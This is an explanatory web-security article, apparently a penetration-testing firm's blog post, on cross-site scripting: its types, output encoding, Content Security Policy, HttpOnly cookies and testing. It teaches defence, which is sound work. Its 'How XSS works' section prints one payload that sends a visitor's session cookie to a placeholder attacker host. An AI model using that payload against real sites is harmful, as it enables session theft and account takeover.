Quick answer: XSS (Cross Site Scripting) is when an attacker injects their own JavaScript into a web page and runs it in other users' browsers. While SQL injection targets the database, XSS targets the user's browser: it can steal the session cookie, act on behalf of the user, or show a fake login form. It has three main types: Stored (persistent, saved on the server), Reflected (triggered by a link) and DOM based (entirely client side). The definitive solution is output encoding: user input is processed as text, not HTML, when written to the page. Modern frameworks do this by default, but unsafe uses such as innerHTML and rich text fields still carry risk.

The most misunderstood flaw in web security is XSS. It gets dismissed with "it just opens an alert box, what harm can it do." Yet the same technique can be used to steal a user's session, take over their account or distribute malicious code to all visitors. This article explains how XSS works, its types and its definitive defense.

How XSS works

An application shows a comment written by a user to other users. If it prints the comment to the page as is, and the user writes this instead of a comment:

<script>document.location='http://attacker.com/c?'+document.cookie</script>

The code runs in the browser of every visitor who sees this comment, and the session cookie is sent to the attacker. With that cookie the attacker can log into the victim's account.

The root of the problem is the same as SQL injection: data (user input) and code (HTML/JavaScript) mix. The browser cannot tell whether the input printed to the page is text to display or a script to execute. Because of this similarity, XSS is assessed under the Injection category in the OWASP Top 10; for the wider framework see our OWASP Top 10 guide.

Types of XSS

Stored (persistent) XSS

The malicious code is saved on the server and served to everyone who opens that page. A script placed in a forum post, a profile field or a product review affects all users who view the page. It is the most dangerous type because a single injection reaches thousands of victims.

Reflected XSS

The malicious code is not stored; it arrives as part of the request and is reflected back in the response. It usually appears on a search results page or an error message. The attacker crafts a link with code embedded and gets the victim to click it. The code runs in the clicker's browser.

DOM based XSS

The server is never involved. JavaScript on the page writes data it received from the URL or another source to the page unsafely (for example with innerHTML). Because the whole operation is client side, it may leave no trace in server logs and is hard to detect.

Type Where code is stored Trigger Scope
Stored On the server Opening the page All visitors
Reflected Nowhere Clicking a malicious link The clicker
DOM based Nowhere Client side JavaScript The affected user

The definitive solution: output encoding

The primary solution to XSS is context appropriate encoding of user input when printing it to the page. Input must not be interpreted as HTML but processed as text to display. For example, if the < character is encoded as &lt;, the browser treats it as a character to display on screen, not the start of a tag.

The critical point is context: are you printing the data into the HTML body, an HTML attribute, a JavaScript block or a URL? Each requires different encoding. Encoding for the wrong context does not protect.

The good news: modern frameworks do this by default. Libraries such as React, Angular and Vue automatically encode variables when printing to the page. So XSS in these frameworks mostly appears where the developer deliberately disabled that protection: dangerouslySetInnerHTML in React, innerHTML in plain JavaScript, or eval like uses.

Additional defense layers

Output encoding is the primary defense, but additional layers are needed for cases where it is not sufficient alone:

  • Content Security Policy (CSP). A header telling the browser which sources it may run scripts from. A well configured CSP can prevent a malicious script from running even if an XSS flaw exists. It is a strong second line of defense.
  • HttpOnly cookie. Marking the session cookie HttpOnly prevents JavaScript from accessing the cookie, so an XSS flaw cannot reach the cookie directly.
  • Input validation. Rejecting input in an unexpected format is an added layer but does not replace output encoding.
  • A safe sanitizer for rich text. If you must let users enter HTML (such as a comment editor), use a mature, maintained HTML sanitization library, do not write your own filter.

The identity layer matters too: to limit the impact of a stolen session, passkeys and MFA and short session lifetimes help.

Why XSS should not be underestimated

Seeing XSS as "just an alert box" is a dangerous fallacy. Its real impacts:

  • Session theft. If the cookie is stolen, the attacker enters the victim's account.
  • Account takeover. Changing a password or performing actions on the victim's behalf.
  • Phishing. Showing a fake login form inside the real site; the victim falls for it because they trust the address bar.
  • Malware distribution. Redirecting visitors to an exploit kit.
  • Reputation and data loss. Reaching the entire user base with stored XSS.

Verification

The reliable way to find XSS flaws is testing:

  • Code review. Look for unsafe DOM writing points (innerHTML, dangerouslySetInnerHTML) and unencoded output.
  • Automated scanning. Dynamic analysis tools catch reflected XSS but may miss DOM based ones.
  • Authorized penetration testing. A human eye is needed especially for DOM based and context sensitive flaws. See our article on the penetration test process.

Frequently asked questions

What is the difference between XSS and SQL injection? SQL injection targets the database and runs on the server. XSS targets the user's browser and runs on the client. Both arise from data mixing with code.

I use a modern framework, am I safe? Largely, because they encode automatically. But uses that disable protection such as dangerouslySetInnerHTML, and DOM based flaws, are still possible.

Is CSP sufficient on its own? No, but it is a very strong second line of defense. A good CSP can prevent exploitation even if a flaw exists.

Why is DOM based XSS hard to detect? Because the server is never involved, it leaves no trace in server logs. Detection requires analyzing client side JavaScript.

Does an HttpOnly cookie solve XSS? No, but it prevents cookie theft. The attacker can still act on the user's behalf, so the real solution is output encoding.

I need to let users enter HTML, what should I do? Do not write your own filter. Use a mature, maintained HTML sanitization library and minimize the allowed tags.

Sources

To measure whether your application is genuinely resilient against XSS, contact DSET. From our Ankara Hacettepe Teknokent laboratory we provide penetration testing, secure code review and developer training.